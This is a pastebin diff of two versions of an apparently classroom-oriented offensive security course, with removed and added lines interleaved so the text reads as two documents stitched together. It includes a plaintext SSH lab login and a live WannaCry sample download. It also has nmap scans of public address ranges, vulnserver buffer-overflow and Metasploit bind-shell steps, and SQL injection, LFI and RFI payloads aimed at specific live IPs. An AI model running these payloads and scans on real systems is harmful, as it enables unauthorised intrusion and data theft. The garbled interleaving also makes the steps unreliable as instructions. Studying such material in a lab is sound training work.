View difference between Paste ID: kJc1yz14 and UB868q2s

 #####################################################
-# Setup your CentOS 7 host #
+# Offensive/Defensive Cyber   (New ECSA 2019)       #
 # By Joe McCray                                     #
-yum update
+
-yum install -y nmap python2-scapy.noarch python34-scapy.noarch whois.x86_64 tcpdump.x86_64 unzip wget tcpflow.x86_64
+
 - Here is a good set of slides for getting started with Linux:
 http://www.slideshare.net/olafusimichael/linux-training-24086319
 
-################
+
-# The Scenario #
+- Here is a good tutorial that you should complete before doing the labs below:
-################
+http://linuxsurvival.com/linux-tutorial-introduction/
-You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
+
 
 - I prefer to use Putty to SSH into my Linux host.
-The fastest thing you can do is perform static analysis.
+- You can download Putty from here:
 - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
 
 Here is the information to put into putty
-###################
+
-# Static Analysis #
+Host Name:          107.191.39.106
-###################
+protocol:           ssh
 port:               22
-- After logging please open a terminal window and type the following commands:
+username:           ecsa
 password:           GermanyNewYork!#
 
 
-mkdir malware_analysis
+
 
-cd malware_analysis
+
 
-wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
+mkdir static_analysis
 
 cd static_analysis
 
 wget http://45.63.104.73/wannacry.zip
 
 unzip wannacry.zip
      infected
 
 file wannacry.exe
 
 mv wannacry.exe malware.pdf
 
 file malware.pdf
 
 mv malware.pdf wannacry.exe
 
 hexdump -n 2 -C wannacry.exe
 
 ----------------------------------------------------------------------
 
 
 ***What is '4d 5a' or 'MZ'***
 -------------------------Paste this URL into Firefox-----------------------------------
 http://www.garykessler.net/library/file_sigs.html
 ---------------------------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
-strings --all wannacry.exe | head -n 6
+
 
 strings wannacry.exe
 
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 ----------------------------------------------------------------------
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 pe info wannacry.exe
 pe check wannacry.exe
 pe dump --section text wannacry.exe
 pe dump --section data wannacry.exe
 pe dump --section rsrc wannacry.exe
 pe dump --section reloc wannacry.exe
 strings rdata | less
 strings rsrc | less
 strings text | less
 ----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
 
 
 
 Ok, let's look for the individual strings
 
 
 ---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
-https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
+
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 ----------------------------------------------------------------------
 
 
 
 
 
 ####################################
 # Tired of GREP - let's try Python #
 ####################################
 Decided to make my own script for this kind of stuff in the future. I
 
 Reference1:
 http://45.63.104.73/analyse_malware.py
 
 This is a really good script for the basics of static analysis
-wget https://files.pythonhosted.org/packages/ed/cc/157f20038a80b6a9988abc06c11a4959be8305a0d33b6d21a134127092d4/pefile-2018.8.8.tar.gz
+
-tar -zxvf pefile-2018.8.8.tar.gz
+
-cd pefile-2018.8.8
+
-python setup.py install
+
-cd ..
+
 This is really good for showing some good signatures to add to the Python script
 
 
 Here is my own script using the signatures (started this yesterday, but still needs work):
 https://pastebin.com/guxzCBmP
 
 
 
 ---------------------------Type This-----------------------------------
-vi am.py
+
 
-python am.py wannacry.exe
+
 mv guxzCBmP am.py
 
 
 nano am.py
 
 python2.7 am.py wannacry.exe
 ----------------------------------------------------------------------
-# Reference:                                        #
+
-# https://jon.glass/analyzes-dridex-malware-p1/     #
+
 
 ##############
-yum -y install epel-release
+# Yara Ninja #
-yum -y install python-pip
+##############
-pip install -U olefile
+
-
+
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
-mkdir oledump
+
 ----------------------------------------------------------------------------
-cd oledump
+rule wannacry_1 : ransom
 {
     meta:
         author = "Joshua Cannell"
         description = "WannaCry Ransomware strings"
         weight = 100
-wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
+        date = "2017-05-12"
 
     strings:
         $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
         $s2 = "Wanna Decryptor" wide ascii nocase
         $s3 = ".wcry" wide ascii nocase
         $s4 = "WANNACRY" wide ascii nocase
         $s5 = "WANACRY!" wide ascii nocase
         $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
 
     condition:
         any of them
 }
 
 ----------------------------------------------------------------------------
 rule wannacry_2{
     meta:
         author = "Harold Ogden"
         description = "WannaCry Ransomware Strings"
         date = "2017-05-12"
         weight = 100
 
     strings:
         $string1 = "msg/m_bulgarian.wnry"
         $string2 = "msg/m_chinese (simplified).wnry"
         $string3 = "msg/m_chinese (traditional).wnry"
         $string4 = "msg/m_croatian.wnry"
         $string5 = "msg/m_czech.wnry"
         $string6 = "msg/m_danish.wnry"
         $string7 = "msg/m_dutch.wnry"
         $string8 = "msg/m_english.wnry"
         $string9 = "msg/m_filipino.wnry"
         $string10 = "msg/m_finnish.wnry"
-----------------------------------------------------------------------------------------------------------------------------
+        $string11 = "msg/m_french.wnry"
         $string12 = "msg/m_german.wnry"
         $string13 = "msg/m_greek.wnry"
         $string14 = "msg/m_indonesian.wnry"
         $string15 = "msg/m_italian.wnry"
         $string16 = "msg/m_japanese.wnry"
         $string17 = "msg/m_korean.wnry"
         $string18 = "msg/m_latvian.wnry"
-mkdir -p pcap_analysis/chaos_reader/
+        $string19 = "msg/m_norwegian.wnry"
         $string20 = "msg/m_polish.wnry"
         $string21 = "msg/m_portuguese.wnry"
         $string22 = "msg/m_romanian.wnry"
-wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
+        $string23 = "msg/m_russian.wnry"
         $string24 = "msg/m_slovak.wnry"
-wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
+        $string25 = "msg/m_spanish.wnry"
         $string26 = "msg/m_swedish.wnry"
         $string27 = "msg/m_turkish.wnry"
         $string28 = "msg/m_vietnamese.wnry"
 
 
     condition:
         any of ($string*)
 }
 ----------------------------------------------------------------------------
 
-/sbin/iptables -F
+
 
 
 
 
 
-###########################
+
-# Setting up your machine #
+
-###########################
+
 ---------------------------Type This-----------------------------------
 mkdir ~/oledump
-yum -y groupinstall 'Development Tools'
+
-yum install -y libpcap-devel.i686 libpcap-devel.x86_64 libpcap.i686 libpcap.x86_64 pcapy.x86_64 p0f.x86_64 perl tcpdump python-docutils git gcc pcre-devel.i686 pcre-devel.x86_64 glibc-static
+cd ~/oledump
 
-cd ~/pcap_analysis/
+
-git clone git://github.com/gamelinux/prads.git
+
-cd prads
+
-make
+
-make install
+wget http://45.63.104.73/064016.zip
 
-wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
+
      infected
 
 python oledump.py 064016.doc
 
 python oledump.py 064016.doc -s A4 -v
  -----------------------------------------------------------------------
 
-# Creating a Malware Database #
+
 
-Creating a malware database (mysql)
+
------------------------------------
+
-- Step 1: Installing MySQL database
+
-- Run the following command in the terminal:
+
 python oledump.py 064016.doc -s A5 -v
-yum install -y mariadb-server MySQL-python.x86_64 mysql-connector-python.noarch python2-PyMySQL.noarch mariadb.x86_64 mariadb-devel.x86_64 mariadb-libs.x86_64
+
 
-
+
-- Step 2: Configure the database to accept large files by adding 'max_allowed_packet = 16M' to the /etc/my.cnf file
+
 ---------------------------Type This-----------------------------------
-vi /etc/my.cnf
+
-max_allowed_packet = 16M
+
 - Look for "GVhkjbjv" and you should see:
 
-Step 3: Start MariaDB
+
-- Run the following command in the terminal:
+
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
-systemctl enable mariadb
+
-systemctl start mariadb
+
 
 
-Step 4: Logging in
+
-Run the following command in the terminal:
+Step 1: Download Nmap
 --------------------
-mysql -u root -p                    (set a password of 'malware')
+Windows: https://nmap.org/dist/nmap-7.70-setup.exe
 Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
-use mysql;
+
-update user SET PASSWORD=PASSWORD("malware") WHERE USER='root';
+Linux:
-flush privileges;
+--- Fedora/CentOS/RHEL:    sudo yum install -y nmap
-create database malware;
+--- Ubuntu/Mint/Debian:    sudo apt-get install -y nmap
-grant all on malware.* to 'root' identified by 'malware';
+
-exit;
+
 
 ########################
 # Scanning Methodology #
 ########################
-Step 5: Configure the database setup script
+
----------------------------Type This-----------------------------------
+
-wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
+
 ------------
-vi mal_to_db.py                     (fill in database connection information)
+Note: On windows you won't need to use the word "sudo" in front of the command below:
 
-python mal_to_db.py -i
+---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sP 157.166.226.*
 
 ---------------------------or on Windows type:---------------------------------------------
-Step 6: check it to see if the files table was created
+c:\nmap -sP 157.166.226.*
---------------------------Type This-----------------------------------
+
-mysql -u root -p
+--------------------------------------------------------------------------------------------
-    malware
+
 
-show databases;
+
     -if -SP yields no results try:
-use malware;
+Note: On windows you won't need to use the word "sudo" in front of the command below:
 ---------------------------On Linux or Mac OS X type This-----------------------------------
-show tables;
+
 
-describe files;
+---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sL 157.166.226.*
-exit;
+
 ------------------------------------------------------------------------------------------
----------------------------------
+
 
 
-Step 7:  Now add the malicious file to the DB
+
 Note: On windows you won't need to use the word "sudo" in front of the command below:
-wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
+---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sL 157.166.226.* | grep com
 
 ---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sP 157.166.226.* | findstr "cnn"
-python mal_to_db.py -f wannacry.exe -u
+
-------------------------------------------------------------------------
+-------------------------------------------------------------------------------------------
 
 
-Step 8: Now check to see if it is in the DB
+
 - Port Scan
-mysql -u root -p
+
-    malware
+
 Note: On windows you won't need to use the word "sudo" in front of the command below:
-mysql> use malware;
+---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sS 162.243.126.247
-select id,md5,sha1,sha256,time FROM files;
+
 ---------------------------or on Windows type:----------------------------------------------
-mysql> quit;
+c:\nmap -sS 162.243.126.247
 
 --------------------------------------------------------------------------------------------
 
--------------------------------------------------
+
-1. App Type
+
-    - Stand Alone
+
-    - Client Server     (***vulnserver.exe***)
+
-    - Web App
+
 Note: On windows you won't need to use the word "sudo" in front of the command below:
-2. Input Type
+---------------------------On Linux or Mac OS X type This-----------------------------------
-    - Stand Alone       File/Keyboard/Mouse
+
-    - Client Server     Logical network port        (***9999***)
+
-    - Web App       Browser
+---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sV 162.243.126.247
 -------------------------------------------------------------------------------------------
-3. Map and fuzz app entry points
+
-    - Commands, Methods, Verbs, functions, controllers, subroutines
+
-    TRUN 2100
+
 Let's dig into this a little bit more:
-4. Isolate the crash
+
-    EIP = 39 6F 43 38
+Note: On windows you won't need to use the word "sudo" in front of the command below:
-           9  o C   8
+---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
-5. Calculate distance to EIP
+
-    2006
+---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
-6. Redirect code execution to mem location you control
+-------------------------------------------------------------------------------------------
 
-7. Insert payload (shellcode)
+
---------------------------------------------------------------
+
 - Vulnerability Research
 Lookup the banner versions for public exploits
 ----------------------------------------------
 http://exploit-db.com
-                            #######################
+
-----------------------------# Exploit Development #----------------------------
+
-                            #######################
+
 ---------------------------------------------------------------------------------------------------------------------------------
 
 
 
-# VMs for this course #
+Network Penetration Testing Process (known vulnerabilities)
 -----------------------------------------------------------
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
+
-    username: workshop
+
-    password: password
+1. Ping Sweep:
 The purpose of this step is to identify live hosts
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+
-user:      infosecaddicts
+    nmap -sP <ip-address/ip-range>
-pass:      infosecaddicts
+
 
-You don't have to, but you can do the updates in the Win7 VM (yes, it is a lot of updates).
+2. Port Scan
 Identify running services. We use the running services to map the network topology.
 
     nmap -sS <ip-address/ip-range>
 
 
-#######################################################
+3. Bannergrab
-# Files you may find helpful for learning Exploit Dev #
+Identify the version of version of software running on each port
-#######################################################
+
-https://s3.amazonaws.com/secureninja/files/ExploitDevProcessDocs.zip
+    nmap -sV <ip-address/ip-range>
 
 
 
 4. Vulnerability Research
 Use the software version number to research and determine if it is out of date (vulnerable).
 
     exploit-db.com/search
 
 
 
-https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
+
-https://s3.amazonaws.com/infosecaddictsfiles/nc.exe
+
 
 
 
 
-- Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
+Skill Level 1. Run the scanners
 -------------------------------
     Nexpose
     Qualys
     Retina
     Nessus              known vulnerabilities
     OpenVas
     Foundscan
     GFI LanGuard
     NCircle
 
 
 Skill Level 2. Manual vulnerability validation (known vulnerabilities)
 -----------------------------------------------------------------------
 
     windows ->  systeminfo
     Linux->     dpkg -l
             rpm -qa
 
 
 
 
 
 
 
 #####################################
 # Quick Stack Based Buffer Overflow #
 #####################################
 
 - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
 http://45.63.104.73/ExploitLab.zip
 
 
 - Extract the ExploitLab.zip file to your Desktop
 
 - Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
 
 
 
 - Open a new command prompt and type:
 
 ---------------------------Type This-----------------------------------
 nc localhost 9999
 --------------------------------------------------------------------------
 
 If you don't have netcat you can download it from here:
 http://45.63.104.73/nc-password-is-netcat.zip
 
 The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
 
 
 - In the new command prompt window where you ran nc type:
 HELP
-cd /home/infosecaddicts/toolz/metasploit/modules/exploits/windows/misc
+
 - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
-vi vulnserv.rb    (paste the code into this file)
+
 
 - Now double-click on 1-simplefuzzer.py
-cd ~/toolz/metasploit
+
 
-./msfconsole
+
 - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
 
 - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
-use exploit/windows/misc/vulnserv
+
-set PAYLOAD windows/meterpreter/bind_tcp
+
-set RHOST CHANGEME-TO-YOUR-WIN7-IP
+
-set RPORT 9999
+
-exploit
+
 - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
 
 - Calculate the distance to EIP by running script 3-3000chars.py
 - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
 
 4-count-chars-to-EIP.py
 - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
 - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
 
 5-2006char-eip-check.py
 - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
 
 6-jmp-esp.py
 - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
 
 7-first-exploit
 - In this script we actually do the stack overflow and launch a bind shell on port 4444
 
 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
 
-https://s3.amazonaws.com/infosecaddictsfiles/ff.zip
+
 ------------------------------
 
 
 
 Skill Level 3. Identify unknown vulnerabilities
-1. What does the sys module do? Call System Commands
+-----------------------------------------------
 
 - App Type
 ------------
     Stand Alone             Client Server               Web App
 
                         ***(vulnerserver.exe)***
 
-2. What pattern_create.rb doing and where can I find it?
+
 - Input TYpe
 -------------
     FIle                    logical network port            Browser
     Keyboard
     Mouse
 
 
 
                         ***(9999)***
 
 
 - Map & Fuzz app entry points:
-1. Explain what is happening in lines 13 - to 15.
+
     - Commands              ***(commands)***
     - Methods
     - Verbs
     - functions
     - subroutines
-Ff5.py
+    - controllers
 
 
 - Isolate the crash
 -------------------
 App seems to reliably crash at TRUN 2100
 
 
 - Calculate the distance to EIP
 -------------------------------
 Distance to EIP is 2006
 
 We found that EIP was populated with the value: 396F4338
 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
 
 An online tool that we can use for this is:
 https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
 
 
 
 - Redirect Program Execution
 ----------------------------
 A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
 We learned that we control EAX and ESP in script 2.
 
 
 
 
 
 - Implement Shellcode
 ---------------------
 There are only 2 things that can go wrong with shellcode:
 - Not enough space
 - Bad characters
 
 
 
 
 
 
 #########################################
 # FreeFloat FTP Server Exploit Analysis #
 #########################################
 
 
 
 Analyze the following exploit code:
 https://www.exploit-db.com/exploits/15689/
 
-#################################
+
-# Scripts to install Metasploit #
+
-#################################
+
 4. Describe what is happening in the variable ‘junk2’
 
------------------1st script-------------------------------
+
-#!/bin/bash
+
-# Setup CentOS 7 for Metasploit
+
 Analysis of the training walk-through based on EID: 15689:
-# Ensure script is running as root #
+http://45.63.104.73/ff.zip
 
-if [[ $EUID -ne 0 ]]; then
+
-   echo "This script must be run as root"
+
-   exit 1
+
-fi
+
 1. What does the sys module do?
 2. What is sys.argv[1] and sys.argv[2]?
-##########################
+
-# Set up the CentOS host #
+
-##########################
+
-yum update
+
-yum -y groupinstall 'Development Tools'
+
-yum install -y libpcap-devel.i686 libpcap-devel.x86_64 libpcap.i686 libpcap.x86_64 pcapy.x86_64 p0f.x86_64 perl tcpdump python-docutils git gcc pcre-devel.i686 pcre-devel.x86_64 glibc-static nmap python2-scapy.noarch python34-scapy.noarch whois.x86_64 tcpdump.x86_64 unzip wget tcpflow.x86_64 sqlite rubygem-sqlite3 ruby-irb rubygems rubygem-bigdecimal rubygem-rake rubygem-i18n rubygem-bundler ruby-devel libpcap-devel git svn postgresql-server postgresql-devel sqlite-devel git-core zlib zlib-devel gcc-c++ patch readline readline-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison curl sqlite-devel
+
-yum -y install epel-release
+2. What is pattern_create.rb doing and where can I find it?
-yum -y install python-pip
+
-pip install -U olefile
+
-yum install yum-utils -y
+
-cd /usr/local/
+
-rm -rf rvm/
+
-yum-builddep -y ruby
+
-gpg2 --keyserver hkp://keys.gnupg.net --recv-keys
+
-command curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -
+
-curl -L get.rvm.io | bash -s stable
+
-source /etc/profile.d/rvm.sh
+
-chmod -R 777 /usr/local/rvm/
+
-rvm install "ruby-2.5.1"
+
-gem install rails
+1. Explain what is happening in lines 13 to 15.
-bundle install
+
 3. What is the total length of buff?
--------------------------2nd script-----user script-----------------------------------------------------------------------
+
 
 
-#!/bin/bash
+ff5.py
 1. Explain what is happening in line 15.
-# Setup CentOS 7 for Metasploit
+
-########################################
+
-# Ensure script is NOT running as root #
+
-########################################
+
-if [ $UID -eq 0 ] ; then
+
-   echo "This script must NOT be run as root"
+
-   echo "Make sure you are a regular user in your home directory when you run this script"
+
-   exit 1
+
-fi
+
 
 
 
-rm -rf .rvm/
+
-rm -rf metasploit-framework/
+
-git clone git://github.com/rapid7/metasploit-framework.git
+
-cd metasploit-framework/
+
-gpg2 --keyserver hkp://keys.gnupg.net --recv-keys
+
-command curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -
+
-cd metasploit-framework/
+
-curl -L get.rvm.io | bash -s stable
+
-cd metasploit-framework/
+
-source /etc/profile.d/rvm.sh
+
-rvm install "ruby-2.5.1"
+
-gem install rails
+
-gem install rake
+
-gem install rex-ole
+
-bundle install
+
-./msfconsole
+
 ff9.py
 1. What is going on in lines 19 and 20?
--------------------------------------------------------------------------------------------------------------
+
 3. From what DLL did the address of the JMP ESP come from?
 
-# Day 3: Ruby Fundamentals #
+
 
 
 ff010.py
 1. What is going on in lines 18 - 20?
-- Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
+
-scientist and programmer from Japan. It is a cross-platform dynamic language.
+
 
-- The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
+
-on Rails is a framework that is written in Ruby.
+
 ##################################
-- Ruby's file name extensions are .rb and .rbw.
+
 Most people are going to tell you reference the OWASP Testing guide.
-- official website of this
+
 
-- language: www.ruby-lang.org.
+
 
 
-- interactive Shell called Ruby Shell
+
 
     1. Does the website talk to a DB?
-- Installing and Running IRB
+
         - If yes - try SQL Injection
 
-ruby -v
+
         - If yes - try XSS
 
     3. Does the page reference a file?
-If you don't have ruby2.3 use the commands below:
+
 
-sudo apt-get install ruby2.3 ruby2.3-dev ruby2.3-doc irb rdoc ri
+Let's start with some manual testing against 45.63.104.73
 
 
-- open up the interactive console and play around.
+
 # Attacking PHP/MySQL #
 #######################
-irb
+
 Go to LAMP Target homepage
 http://45.63.104.73/
 
-- Math, Variables, Classes, Creating Objects and Inheritance
+
 
 Clicking on the Acer Link:
-The following arithmetic operators:
+
-    Addition operator (+) — 10 + 23
+
-    Subtraction operator (-) — 1001 - 34
+   - Found parameter passing (answer yes to question 1)
-    Multiplication operator (*) — 5 * 5
+   - Insert ' to test for SQLI
-    Division operator (/) — 12 / 2
+
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer'
-- Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
+
-operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
+
-30. Again, 69 is assigned to y, and then y is incremented by 33.
+
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
-x = 25
+
-x + 30
+
-y = 69
+
-y+33
+
 We do this using the ORDER BY
 
 ---------------------------Type This-----------------------------------
 
-- Let's look at creating classes and creating objects.
+
 -----------------------------------------------------------------------
-- Here, the name of the class is Attack. An object has its properties and methods.
+
 Page returns the following error:
 Unknown column '100' in 'order clause'
 
-class Attack
+
-attr_accessor :of, :sqli, :xss
+
-end
+
 http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
 -----------------------------------------------------------------------
 
-What is nil?
+
 Unknown column '50' in 'order clause'
-https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638
+
 
-nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print are methods that return nil:
+
 
-Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print, you’ll see the nil.
+
 -----------------------------------------------------------------------
-To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it, and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:
+
 Page returns the following error:
 Unknown column '25' in 'order clause'
 
 
 ---------------------------Type This-----------------------------------
-# Now that we have created the classes let's create the objects
+
 http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
-first_attack = Attack.new
+
-first_attack.of = "stack"
+
-first_attack.sqli = "blind"
+
-first_attack.xss = "dom"
+
-puts first_attack.of
+
-puts first_attack.sqli
+
-puts first_attack.xss
+
 
 http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
 -----------------------------------------------------------------------
 
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
-- Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
+
-inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
+
-one object can access the properties/attributes of another object of a different class. Inheritance makes your
+
-programming life easier by maximizing code reuse.
+
 
 Reference:
 http://www.techonthenet.com/sql/union.php
-class Exploitframeworks
+
-attr_accessor :scanners, :exploits, :shellcode, :postmodules
+
-end
+
-class Metasploit < Exploitframeworks
+
-end
+
-class Canvas < Exploitframeworks
+
-end
+
-class Coreimpact < Exploitframeworks
+
-end
+
-class Saint < Exploitframeworks
+
-end
+
-class Exploitpack < Exploitframeworks
+
-end
+
 -----------------------------------------------------------------------
 
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
-- Methods, More Objects, Arguments, String Functions and Expression Shortcuts
+
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
-- Let's create a simple method. A method is used to perform an action and is generally called with an object.
+
 ---------------------------Type This-----------------------------------
-- Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
+
-it will print this string: "We are Learning how to PenTest"
+
 
-- An object named 'bo' is created, which is used to call the method.
+
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
 
-class Msfnl
+
-def learning
+
-puts "We are Learning how to PenTest"
+
-end
+
-end
+
 -----------------------------------------------------------------------
 
-#Now let's define an object for our Method
+
 
 ########################
-joe = Msfnl.new
+# Question I get a lot #
-joe.learning
+
 Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
 
 Here is a good reference for it:
 https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
-- An argument is a value or variable that is passed to the function while calling it. In the following example, while
+
-calling the puts() function, we are sending a string value to the function. This string value is used by the
+
-function to perform some particular operations.
+
 
-puts ("Pentesting")
+
 
 #########################
-- There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
+# File Handling Attacks #
-explain some useful string functions with an example.
+#########################
 
-- The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
+Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
-reverse function reverses a string. The following example demonstrates how to use the string functions.
+
 ---------------------------Type This-----------------------------------
 
-55.class
+http://45.63.104.73/showfile.php?filename=about.txt
-"I Love Programming".class
+
-"I Love Pentesting".length
+
-"Pown that box".upcase
+
-"Love" + "To Root Boxes"
+
-"evil".reverse
+See if you can read files on the file system:
-"evil".reverse.upcase
+
 
 http://45.63.104.73/showfile.php?filename=/etc/passwd
 -----------------------------------------------------------------------
--  expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand,  '=' is
+
-an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
+We call this attack a Local File Include or LFI.
-examples of some expressions.
+
 Now let's find some text out on the internet somewhere:
 https://www.gnu.org/software/hello/manual/hello.txt
-a = 3
+
-b = 6
+
-a+b+20
+Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
-d = 44
+
-f = d
+
-puts f
+
 http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
 -----------------------------------------------------------------------
 
 #########################################################################################
 # SQL Injection                                                                         #
 # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
-- shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
+#########################################################################################
-assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
+
-statements to understand the shortcuts.
+
 - Another quick way to test for SQLI is to remove the paramter value
 
-g = 70
+
-g = g+44
+#############################
-g += 33
+# Error-Based SQL Injection #
 #############################
 ---------------------------Type This-----------------------------------
 
-- In the above statement, g is incremented by 33 and then the total value is assigned to g.
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
-g *= 3
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
-- In the above statement, g is multiplied with 3 and then assigned to g.
+
 -----------------------------------------------------------------------
-- Example
+
 
-- Comparison Operators, Loops, Data Types, and Constants
+
 #############################
-- Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
+# Union-Based SQL Injection #
-how to use the following comparison operators.
+#############################
 
-'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
+
-variable or constant. If it's less than the other, the 'less than' operator returns true.
+
 http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
